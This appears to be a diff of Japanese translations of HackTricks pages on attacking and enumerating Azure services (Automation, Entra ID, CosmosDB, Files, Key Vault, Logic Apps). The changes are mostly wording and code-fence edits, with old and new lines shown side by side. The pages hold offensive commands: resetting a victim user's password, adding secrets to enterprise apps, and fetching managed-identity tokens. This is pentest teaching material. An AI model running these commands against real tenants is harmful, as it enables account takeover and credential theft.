Automation Accountsは、**状態構成 (SC)**もサポートしており、これは**VMの状態を構成**および**維持**するのに役立つ機能です。**Windows**および**Linux**マシンにDSC構成を**作成**および**適用**することが可能です。
Automation Accountsは、**状態構成SC**もサポートしており、これは**VMの状態を構成**および**維持**するのに役立つ機能です。**Windows**および**Linux**マシンにDSC構成を**作成**および**適用**することができます。
攻撃者の視点から見ると、これは**すべての構成されたVMで任意のPSコードを実行**できるため、これらのVMのマネージドアイデンティティへの権限昇格を可能にし、新しいネットワークへのピボットを潜在的に行うことができるため、興味深いものでした... また、構成には**機密情報**が含まれる可能性があります。
攻撃者の視点から見ると、これは**すべての構成されたVMで任意のPSコードを実行する**ことを可能にし、これらのVMのマネージドアイデンティティへの権限昇格を可し、新しいネットワークへのピボットを可能にするため、興味深いものでした... また、構成には**機密情報**が含まれる可能性があります。
## 列挙
```bash
@@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name <AUTOMATION-ACCOUNT> --resourc
az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/hybridRunbookWorkerGroups/<hybrid-worker-group-name>/hybridRunbookWorkers?&api-version=2021-06-22"
```
```powershell
```bash
# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

View File

@@ -6,7 +6,7 @@
Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。これは、従業員がサインインし、Microsoft 365、Azure ポータル、その他の多くの SaaS アプリケーションを含む、組織内外のリソースにアクセスするのを可能にする上で重要です。Azure AD の設計は、**認証、承認、およびユーザー管理**を主に含む、基本的なアイデンティティサービスを提供することに焦点を当てています。
Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを支援します。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。
Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを支援します。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。
## 列挙
@@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples
{{#endtab }}
{{#tab name="Mg" }}
```powershell
```bash
# Login Open browser
Connect-MgGraph
@@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg*
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -104,7 +104,7 @@ Get-Command *az*
{{#endtab }}
{{#tab name="Raw PS" }}
```powershell
```bash
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
@@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
@@ -154,7 +154,7 @@ Azureに**CLI**を通じてログインするとき、あなたは**Microsoft**
例えば、**認証**を行う**PowerShellスクリプト**は、クライアントID**`1950a258-227b-4e31-a9cf-717495945fc2`**を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者は**そのアプリケーションをブロック**して、ユーザーがそのアプリを介して接続できないようにすることができます。
しかし、**Azureに接続を許可する他のクライアントID**のアプリケーションもあります:
```powershell
```bash
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
@@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
@@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Enumerate users
Get-AzADUser
# Get details of a user
@@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
{{#endtabs }}
#### ユーザーパスワードの変更
```powershell
```bash
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Conditional Access Policies
すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、または**いくつかの条件**からログインした場合にのみMFAを要求するConditional Accessを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、**バイパス**される可能性があります。確認してください
すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、または**いくつかの条件**からログインした場合にのみMFAを要求するConditional Accessを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、**バイパス**される可能性があります。確認してください:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -310,7 +310,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
### Groups
Entra IDグループに関する詳細情報は、以下を確認してください
Entra IDグループに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-basic-information/
@@ -318,7 +318,7 @@ Entra IDグループに関する詳細情報は、以下を確認してくださ
{{#tabs }}
{{#tab name="az cli" }}
```powershell
```bash
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
@@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true -
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
@@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get all groups
Get-AzADGroup
# Get details of a group
@@ -393,12 +393,12 @@ Get-AzRoleAssignment -ResourceGroupName <resource_group_name>
#### グループにユーザーを追加
グループの所有者は新しいユーザーをグループに追加できます
```powershell
グループのオーナーは新しいユーザーをグループに追加できます
```bash
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
```
> [!WARNING]
> グループは動的であり、基本的には**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**属性**に基づいている場合、**ユーザー**が**制御**できる、彼はこの機能を悪用して**他のグループに入る**ことができます。\
> グループは動的であり、基本的には**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**ユーザー**が**制御**できる**属性**に基づいている場合、彼はこの機能を悪用して**他のグループに入る**ことができます。\
> 動的グループを悪用する方法については、次のページを確認してください:
{{#ref}}
@@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
@@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
@@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName <String>
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
@@ -489,7 +489,7 @@ Headers = @{
<details>
<summary>各エンタープライズアプリにクライアントシークレットを追加しようとするリスト</summary>
```powershell
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
{
@@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
@@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
@@ -663,7 +663,7 @@ Get-AzADAppCredential
> **アプリケーション** の **所有者** は、(彼がそれを偽装できるように)**パスワード** を追加できます。\
> これらのサービスプリンシパルとしてのログインは **リスクあり** としてマークされず、**MFA** はありません。
一般的に使用される Microsoft のアプリ ID のリストを見つけることができます [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
一般的に使用される Microsoft のアプリ ID のリスト [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で見つけることができます。
### Managed Identities
@@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
@@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res
{{#endtab }}
{{#tab name="Raw" }}
```powershell
```bash
# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
@@ -801,7 +801,7 @@ az rest --method GET \
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
@@ -828,7 +828,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl *
{{#endtab }}
{{#tab name="Azure AD" }}
```powershell
```bash
# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
@@ -851,7 +851,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
> [!WARNING]
> デバイス (VM) が **AzureAD に参加している** 場合、AzureAD のユーザーは **ログインできる** ようになります。\
> さらに、ログインしているユーザーがデバイスの **オーナー** である場合、彼は **ローカル管理者** になります。
> さらに、ログインしているユーザーがデバイスの **所有者** である場合、彼は **ローカル管理者** になります。
### 管理単位
@@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr
{{#endtab }}
{{#tab name="AzureAD" }}
```powershell
```bash
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
@@ -906,16 +906,16 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
### 特権アイデンティティ管理 (PIM)
Azure の特権アイデンティティ管理 (PIM) は、**不必要にユーザーに過剰な特権が割り当てられるのを防ぐ**のに役立ちます。
Azure の特権アイデンティティ管理 (PIM) は、**不必要にユーザーに過剰な特権が付与されるのを防ぐ**のに役立ちます。
PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、**一定期間6ヶ月資格を与える**ことができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間3時間を示してリクエストを行う必要があります。その後、**管理者がリクエストを承認する必要があります**。\
ユーザーはまた、**時間を延長する**ようにリクエストすることもできます。
PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、**一定期間6ヶ月資格を与える**ことができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間3時間を示してリクエストを行う必要があります。その後、**管理者が**リクエストを承認する必要があります。\
ユーザーはまた、**延長**を求めることもできます。
さらに、**PIM は特権ロールが誰かに割り当てられるたびにメールを送信します**
さらに、**PIM は**特権ロールが誰かに割り当てられるたびにメールを送信します。
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
PIM が有効になっていると、各ロールに対して次のような特定の要件を設定することができます:
PIM が有効になっていると、各ロールに対して次のような特定の要件を設定できます:
- アクティベーションの最大期間(時間)
- アクティベーション時に MFA を要求
@@ -923,8 +923,8 @@ PIM が有効になっていると、各ロールに対して次のような特
- アクティベーション時に正当化を要求
- アクティベーション時にチケット情報を要求
- アクティベートするための承認を要求
- 資格のある割り当ての最大期限
- 特定のアクションがそのロールで発生したときに通知を送信するタイミングと送信先に関する多くの設定
- 資格のある割り当ての最大有効期限
- 特定のアクションがそのロールで発生したときに通知を送信する際の設定がさらに多く
### 条件付きアクセス ポリシー <a href="#title-text" id="title-text"></a>
@@ -947,7 +947,7 @@ Entra アイデンティティ保護は、**ユーザーまたはサインイン
### Entra パスワード保護
Entra パスワード保護 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで弱いパスワードの悪用を防ぐのに役立つ**セキュリティ機能です。\
Entra パスワード保護 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで弱いパスワードの悪用を防ぐ**セキュリティ機能です。\
また、提供する必要がある**カスタムパスワードリストを禁止する**こともできます。
これは、クラウドレベルとオンプレミスの Active Directory の両方に**適用**できます。

View File

@@ -17,11 +17,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
## Azure CosmosDB
**Azure Cosmos DB** は、単一桁ミリ秒応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えた SLA バックの可用性を提供する完全に **管理された NoSQL、リレーショナル、およびベクターデータベース** です。これは、ターンキーのマルチリージョンデータ配信、オープンソースAPI、人気のある言語用のSDK、統合ベクターサポートやシームレスなAzure AI統合などのAIデータベース機能を通じて、アプリ開発を加速します。
**Azure Cosmos DB** は、単一桁ミリ秒応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えた SLA バックの可用性を提供する完全に **管理された NoSQL、リレーショナル、ベクターデータベース** です。これは、ターンキーのマルチリージョンデータ配信、オープンソースAPI、人気のある言語用の SDK、統合ベクターサポートやシームレスな Azure AI 統合などの AI データベース機能を通じて、アプリ開発を加速します。
Azure Cosmos DB は、ドキュメント、リレーショナル、キー-バリュー、グラフ、およびカラムファミリーデータモデルを使用して現実のデータをモデル化するための複数のデータベースAPIを提供しており、これらのAPINoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin、およびTableです。
Azure Cosmos DB は、ドキュメント、リレーショナル、キー-バリュー、グラフ、カラムファミリーデータモデルを使用して現実のデータをモデル化するための複数のデータベース API を提供します。これらの APINoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin、Table です。
CosmosDBの重要な側面の1つはAzure Cosmos Accountです。**Azure Cosmos Account** は、データベースへのエントリーポイントとして機能します。このアカウントは、グローバル配信、一貫性レベル、および使用する特定のAPINoSQLなどなどの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するために、グローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
CosmosDB の重要な側面のつは Azure Cosmos アカウントです。**Azure Cosmos アカウント** は、データベースへのエントリーポイントとして機能します。このアカウントは、グローバル配信、一貫性レベル、使用する特定の APINoSQL など)などの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するグローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
### NoSQL (sql)
Azure Cosmos DB NoSQL API は、JSON をデータ形式として使用するドキュメントベースの API です。これは、JSON オブジェクトをクエリするための SQL に似たクエリ構文を提供し、構造化データおよび半構造化データの操作に適しています。サービスのエンドポイントは次のとおりです:
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
アカウント内では、1つ以上のデータベースを作成でき、これらはコンテナの論理的なグループとして機能します。データベースは、リソース管理とユーザー権限の境界として機能します。データベースは、コンテナ間でプロビジョニングされたスループットを共有するか、個々のコンテナに専用のスループットを割り当てることができます。
#### コンテナ
データストレージのコアユニットはコンテナであり、JSONドキュメントを保持し、効率的なクエリのために自動的にインデックスが付けられます。コンテナは弾力的にスケーラブルで、ユーザー定義のパーティションキーによって決定されるパーティションに分散されます。パーティションキーは、最適なパフォーマンスと均等なデータ分配を確保するために重要です。たとえば、コンテナは顧客データを保存し、「customerId」をパーティションキーとして使用することがあります。
データストレージのコアユニットはコンテナであり、JSONドキュメントを保持し、効率的なクエリのために自動的にインデックスが付けられます。コンテナは弾力的にスケーラブルで、ユーザー定義のパーティションキーによって決定されるパーティション全体に分散されます。パーティションキーは、最適なパフォーマンスと均等なデータ分配を確保するために重要です。たとえば、コンテナは顧客データを保存し、「customerId」をパーティションキーとして使用することがあります。
#### 列挙
@@ -83,7 +83,7 @@ az cosmosdb sql user-defined-function list --account-name <AccountName> --contai
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosD
# List all Cosmos DB accounts in a specified resource group.
@@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountNa
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
```bash
Get-Command -Module Az.CosmosDB
# List all Cosmos DB accounts in a specified resource group.
@@ -344,8 +344,8 @@ print(f"Inserted document with ID: {result.inserted_id}")
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View File

@@ -4,7 +4,7 @@
## 基本情報
**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全管理されたクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません[**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による。これにより、複数の仮想マシンVMやオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。
**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全管理型のクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません[**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による。これにより、複数の仮想マシンVMやオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。
### アクセス階層
@@ -15,18 +15,18 @@
### バックアップ
- **日次バックアップ**: 指定された時間(例19.30 UTCに毎日バックアップポイントが作成され、1日から200日間保存されます。
- **日次バックアップ**: 指定された時間(例: 19.30 UTCに毎日バックアップポイントが作成され、1日から200日間保存されます。
- **週次バックアップ**: 指定された曜日と時間毎週日曜日の19.30にバックアップポイントが作成され、1週間から200週間保存されます。
- **月次バックアップ**: 指定された日と時間(例毎月の最初の日曜日の19.30にバックアップポイントが作成され、1ヶ月から120ヶ月保存されます。
- **年次バックアップ**: 指定された日と時間(例1月の最初の日曜日の19.30にバックアップポイントが作成され、1年から10年間保存されます。
- **手動バックアップスナップショットをいつでも実行することも可能です**。この文脈では、バックアップとスナップショットは実際には同じです。
- **月次バックアップ**: 指定された日と時間(例: 毎月の最初の日曜日の19.30にバックアップポイントが作成され、1ヶ月から120ヶ月保存されます。
- **年次バックアップ**: 指定された日と時間(例: 1月の最初の日曜日の19.30にバックアップポイントが作成され、1年から10年間保存されます。
- **手動バックアップおよびスナップショットをいつでも実行することも可能です**。この文脈では、バックアップとスナップショットは実際には同じです。
### SMB経由でサポートされる認証
- **オンプレミスAD DS認証**: オンプレミスのActive Directory資格情報を使用し、Microsoft Entra IDと同期してアイデンティティベースのアクセスを提供します。オンプレミスAD DSへのネットワーク接続が必要です。
- **Microsoft Entraドメインサービス認証**: Microsoft Entra資格情報を使用してアクセスを提供するために、Microsoft EntraドメインサービスクラウドベースのADを活用します。
- **ハイブリッドアイデンティティのためのMicrosoft Entra Kerberos**: Microsoft Entraユーザーがインターネット経由でAzureファイル共有Kerberosを使用して認証できるようにします。オンプレミスのドメインコントローラーへの接続を必要とせず、ハイブリッドMicrosoft Entra参加またはMicrosoft Entra参加のVMをサポートします。ただし、クラウド専用のアイデンティティはサポートされていません。
- **LinuxクライアントのためのAD Kerberos認証**: LinuxクライアントがオンプレミスAD DSまたはMicrosoft Entraドメインサービスを介してSMB認証のためにKerberosを使用できるようにします。
- **オンプレミスAD DS認証**: オンプレミスのActive Directory資格情報を使用し、Microsoft Entra IDと同期されているアイデンティティベースのアクセスを提供します。オンプレミスAD DSへのネットワーク接続が必要です。
- **Microsoft Entraドメインサービス認証**: Microsoft EntraドメインサービスクラウドベースのADを利用して、Microsoft Entra資格情報を使用してアクセスを提供します。
- **ハイブリッドアイデンティティのMicrosoft Entra Kerberos**: Microsoft Entraユーザーがインターネット経由でAzureファイル共有に対してKerberosを使用して認証できるようにします。オンプレミスのドメインコントローラーへの接続を必要とせず、ハイブリッドMicrosoft Entra参加またはMicrosoft Entra参加のVMをサポートします。ただし、クラウド専用のアイデンティティはサポートされていません。
- **LinuxクライアントのAD Kerberos認証**: LinuxクライアントがオンプレミスAD DSまたはMicrosoft Entraドメインサービスを介してSMB認証にKerberosを使用できるようにします。
## 列挙
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}}
{{#tab name="Az PowerShell"}}
```powershell
```bash
Get-AzStorageAccount
# List File Shares
@@ -84,17 +84,17 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
> [!TIP]
> 使用するアカウントキーを示すには、パラメータ`--account-key`を使用します\
> SASトークンを使用してアクセスするには、SASトークンと共にパラメータ`--sas-token`を使用します
> SASトークンを使用してアクセスするには、SASトークンと共にパラメータ`--sas-token`を使用します
### 接続
これらは、執筆時点でAzureが提案するファイル共有に接続するためのスクリプトです:
これらは、執筆時Azureが提案したファイル共有に接続するためのスクリプトです:
`<STORAGE-ACCOUNT>``<ACCESS-KEY>`、および`<FILE-SHARE-NAME>`のプレースホルダーを置き換える必要があります。
{{#tabs}}
{{#tab name="Windows"}}
```powershell
```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot

View File

@@ -8,7 +8,7 @@
完全な詳細については、[Azure Key Vault REST APIの概要](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates)を参照してください。
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)によると、VaultはソフトウェアおよびHSMバックの、シークレット、証明書の保存をサポートしています。管理されたHSMプールはHSMバックののみをサポートします。
[**ドキュメント**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)によると、VaultはソフトウェアおよびHSMバックのキー、シークレット、証明書の保存をサポートしています。管理されたHSMプールはHSMバックのキーのみをサポートします。
**ボールト**の**URL形式**は`https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}`で、管理されたHSMプールの場合は`https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`です。
@@ -34,7 +34,7 @@ Key Vaultリソースへのアクセスは、2つのプレーンによって制
- **データプレーン**、そのターゲットは**`<vault-name>.vault.azure.com`**です。
- これはキー ボールト内の**データ**(キー、シークレット、証明書)を管理およびアクセスするために使用されます。これには**キー ボールトアクセスポリシー**またはAzure **RBAC**がサポートされています。
**Contributor**のような役割は、アクセスポリシーを管理するための管理プレーンでの権限を持っている場合、アクセスポリシーを変更することでシークレットにアクセスできます。
**Contributor**のような役割は、管理プレーンでアクセスポリシーを管理する権限を持っている場合、アクセスポリシーを変更することでシークレットにアクセスできます。
### Key Vault RBAC組み込みロール <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
@@ -48,7 +48,7 @@ Azure Key Vaultでは、**ファイアウォール**ルールを設定して、*
```bash
az keyvault show --name name-vault --query networkAcls
```
前のコマンドは`name-vault`**のファイアウォール設定を表示します**。これには、有効なIP範囲と拒否されたトラフィックのポリシーが含まれます。
前のコマンドは`name-vault`**のファイアウォール設定を表示します**。これには、有効なIP範囲と拒否されたトラフィックのポリシーが含まれます。
さらに、**プライベートエンドポイント**を作成して、ボールトへのプライベート接続を許可することが可能です。
@@ -56,7 +56,7 @@ az keyvault show --name name-vault --query networkAcls
キー ボールトが作成されると、削除を許可する最小日数は7日です。つまり、そのキー ボールトを削除しようとすると、**削除には少なくとも7日かかります**。
ただし、**パージ保護が無効**のボールトを作成することが可能で、これにより保持期間中にキー ボールトとオブジェクトをパージできます。ただし、一度この保護がボールトに対して有効にると、無効にすることはできません。
ただし、**パージ保護が無効**のボールトを作成することが可能で、これによりキー ボールトとオブジェクトは保持期間中にパージされることができます。ただし、一度この保護がボールトに対して有効にされると、無効にすることはできません。
## 列挙
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

View File

@@ -4,14 +4,14 @@
## 基本情報
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス**、データソース、およびアプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を実行するように設計されています。
Azure Logic Appsは、Microsoft Azureが提供するクラウドベースのサービスで、開発者が**さまざまなサービス**、データソース、アプリケーションを統合するワークフローを**作成および実行**できるようにします。これらのワークフローは、**ビジネスプロセスを自動化**し、タスクを調整し、異なるプラットフォーム間でデータ統合を行うように設計されています。
Logic Appsは、**幅広い事前構築されたコネクタ**を使用してワークフローを作成するためのビジュアルデザイナーを提供しており、Office 365、Dynamics CRM、Salesforceなどのさまざまなサービスに簡単に接続して対話できます。また、特定のニーズに合わせたカスタムコネクタを作成することもできます。
### 例
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセス**を自動化できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガーすることが挙げられ、動的なデータ処理を可能にます。
- **データパイプラインの自動化**: Logic Appsは、Azure Data Factoryと組み合わせて**データ転送および変換プロセス**を自動化できます。これは、Azure SQL DatabaseやAzure Blob Storageなどのさまざまなデータストア間でデータを移動および変換するスケーラブルで信頼性の高いデータパイプラインを作成するのに役立ち、分析およびビジネスインテリジェンス操作を支援します。
- **Azure Functionsとの統合**: Logic Appsは、Azure Functionsと連携して**必要に応じてスケールする洗練されたイベント駆動型アプリケーションを開発**し、他のAzureサービスとシームレスに統合できます。使用例としては、Logic Appを使用して、Azure Storageアカウントの変更などの特定のイベントに応じてAzure Functionをトリガー、動的なデータ処理を可能にすることが挙げられます。
### LogicAPPの可視化
